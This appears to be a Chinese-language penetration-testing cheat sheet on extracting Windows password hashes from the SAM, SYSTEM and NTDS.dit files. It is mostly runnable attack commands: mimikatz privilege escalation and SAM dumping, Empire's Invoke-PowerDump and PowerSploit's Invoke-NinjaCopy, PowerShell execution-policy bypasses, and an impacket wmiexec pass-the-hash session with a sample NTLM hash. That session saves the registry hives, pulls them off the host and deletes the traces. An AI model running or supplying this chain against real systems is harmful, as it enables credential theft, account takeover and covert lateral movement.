前言
ntds.dit文件位置:
C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM
#通过SAM数据库获得用户hash的方法
远程读取
mimikatz在线读取SAM数据库
privilege::debug
token::elevate
lsadump::sam
powershell
利用empire里面的一个powershell脚本,下载地址:
https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1
从左到右依次是用户名,Rid,ntlm,lm。
Rid为500代表是管理员,504代表是guest账号等。lm跟ntlm的区别是加密方法的不同,具体可以看这篇博客。
离线破解
下载system与sam文件的方法
利用注册表(需要administrator权限)
获取当前系统的SAM数据库文件,在另一系统下进行读取,从 sam 中提取目标系统本地用户密码 hash 需要管理员权限。
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
通过NinjaCopy获得sam与system
ninjacopy下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "c:\sam.hiv"
附录:绕过powershell执行策略的命令:
cmd中:powershell -ep bypass
powershell中:Set-ExecutionPolicy Bypass -Scope Process
也可以参考下面的链接
绕过powershell执行策略的方法
impacket
python wmiexec.py -hashes :3dbde697d71690a769204beb12283678 test/administrator@192.168.124.142
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit
解密sam文件数据
使用mimikatz,参数为刚刚下载下来的system与sam文件的路径:
lsadump::sam /sam:sam.hiv /system:system.hiv